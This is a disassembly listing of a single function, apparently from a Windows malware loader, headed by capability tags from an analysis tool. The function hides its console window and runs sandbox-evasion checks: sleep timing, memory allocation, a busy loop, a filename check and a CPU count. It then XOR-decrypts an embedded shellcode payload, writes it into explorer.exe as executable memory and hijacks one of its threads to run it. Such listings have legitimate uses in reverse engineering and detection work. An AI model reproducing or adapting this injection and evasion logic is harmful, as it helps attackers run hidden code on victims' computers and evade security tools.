Function at 0x140001594
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xcc0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xc60], ecx
mov qword [rbp + 0xc68], rdx
call fcn.140001d10
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rbp + 0xc10], 0
mov ecx, 0x9c7aa05
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xc10], rax
cmp qword [rbp + 0xc10], 0
je 0x140001620
mov rax, qword [rbp + 0xc10]
mov r8d, 0x9c7aa05
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xc0c], eax
mov ecx, 0x1fea
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xc08], eax
mov eax, dword [rbp + 0xc08]
sub eax, dword [rbp + 0xc0c]
cmp eax, 0x1fe9
jg 0x140001669
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xc10]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x621e030d3
mov qword [rbp + 0xc00], rax
mov qword [rbp + 0xc38], 0
mov qword [rbp + 0xc30], 0
mov qword [rbp + 0xc30], 0
jmp 0x1400016bc
add qword [rbp + 0xc38], 1
add qword [rbp + 0xc30], 1
mov rax, qword [rbp + 0xc30]
cmp rax, qword [rbp + 0xc00]
jl 0x1400016ac
mov rax, qword [rbp + 0xc38]
cmp rax, qword [rbp + 0xc00]
je 0x1400016e6
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0xbf8], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_VirtualAllocExNuma
cdqe
mov qword [rbp + 0xbf8], rax
cmp qword [rbp + 0xbf8], 0
je 0x140001762
lea rcx, str.oOeHjzbtrKbC
call fcn.140001540
mov rax, qword [rbp + 0xc68]
mov rax, qword [rax]
lea rdx, str.ssl_test.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400017a0
jmp 0x14000176c
mov ecx, 0
call sub.msvcrt.dll_exit
mov dword [rbp + 0xbf4], 0
lea rax, [rbp + 0xba0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xbc0]
mov dword [rbp + 0xbf0], eax
cmp dword [rbp + 0xbf0], 1
jg 0x1400017b4
jmp 0x1400017aa
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x930]
lea rdx, [0x14000a028]
mov ecx, 0x4e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movabs rax, 0x85a935a5f42ee83c
movabs rdx, 0x9af599c9445e3f7
mov qword [rbp + 0x840], rax
mov qword [rbp + 0x848], rdx
movabs rax, 0xead8157ad40165e2
movabs rdx, 0x5284b6f44712ca05
mov qword [rbp + 0x850], rax
mov qword [rbp + 0x858], rdx
movabs rax, 0xf01d3eb97890988b
movabs rdx, 0xd9ed4af0b7269827
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rdx
movabs rax, 0x492ff4c483aa61a5
movabs rdx, 0xe3b8616ccb25560c
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rdx
movabs rax, 0xda62c9058d9d4180
movabs rdx, 0x4f5b004c1a5a47b0
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x888], rdx
movabs rax, 0xb05a56084c6da4ea
movabs rdx, 0x35a1e5b41330bda
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x898], rdx
movabs rax, 0x69b9050b245b1fcc
movabs rdx, 0xb22ec9fed07546cf
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x8a8], rdx
movabs rax, 0xd4dae526ea68b562
movabs rdx, 0x32ff6d15d6586297
mov qword [rbp + 0x8b0], rax
mov qword [rbp + 0x8b8], rdx
movabs rax, 0x117c0ddaec091add
movabs rdx, 0x9277f3d94abd15e9
mov qword [rbp + 0x8c0], rax
mov qword [rbp + 0x8c8], rdx
movabs rax, 0x133ed00de42057e
movabs rdx, 0x5515baca43770f93
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], rdx
movabs rax, 0x678fd67d789dd358
movabs rdx, 0x6d249ee5836f2723
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8e8], rdx
movabs rax, 0xac2bf87c406d57f5
movabs rdx, 0xce7c8f54fd504173
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x8f8], rdx
movabs rax, 0xb071e08a130e264
movabs rdx, 0x72051b60ebefcb8
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], rdx
movabs rax, 0x5a82b1c40da2d63a
movabs rdx, 0x51b26aff4ea54c59
mov qword [rbp + 0x910], rax
mov qword [rbp + 0x918], rdx
mov word [rbp + 0x920], 0x38
mov dword [rbp + 0xc2c], 0
mov dword [rbp + 0xc28], 0
jmp 0x140001a20
cmp dword [rbp + 0xc2c], 0xe1
jne 0x1400019e1
mov dword [rbp + 0xc2c], 0
mov eax, dword [rbp + 0xc28]
cdqe
movzx edx, byte [rbp + rax + 0x930]
mov eax, dword [rbp + 0xc2c]
cdqe
movzx eax, byte [rbp + rax + 0x840]
xor edx, eax
mov eax, dword [rbp + 0xc28]
cdqe
mov byte [rbp + rax + 0x5d0], dl
add dword [rbp + 0xc2c], 1
add dword [rbp + 0xc28], 1
mov eax, dword [rbp + 0xc28]
cmp eax, 0x26f
jbe 0x1400019cb
mov dword [rbp + 0x4a0], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xbe8], rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001c36
jmp 0x140001c17
lea rax, [rbp + 0x4a0]
add rax, 0x2c
lea rdx, str.explorer.exe
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001c17
mov qword [rbp + 0xc20], 0
mov dword [rbp - 0x20], 0x10000b
mov dword [rbp + 0x480], 0x1c
mov eax, dword [rbp + 0x4a8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xbe0], rax
mov rax, qword [rbp + 0xbe0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x270
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xbd8], rax
lea rcx, [rbp + 0x5d0]
mov rdx, qword [rbp + 0xbd8]
mov rax, qword [rbp + 0xbe0]
mov qword [rsp + 0x20], 0
mov r9d, 0x270
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov edx, 0
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xbd0], rax
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x140001b9b
mov edx, dword [rbp + 0x48c]
mov eax, dword [rbp + 0x4a8]
cmp edx, eax
jne 0x140001b9b
mov eax, dword [rbp + 0x488]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f03ff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0xc20], rax
jmp 0x140001bb5
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001b66
mov rax, qword [rbp + 0xc20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xc20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xc20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0xc20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x140001a71
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xcc0
pop rsi
pop rdi
pop rbp
ret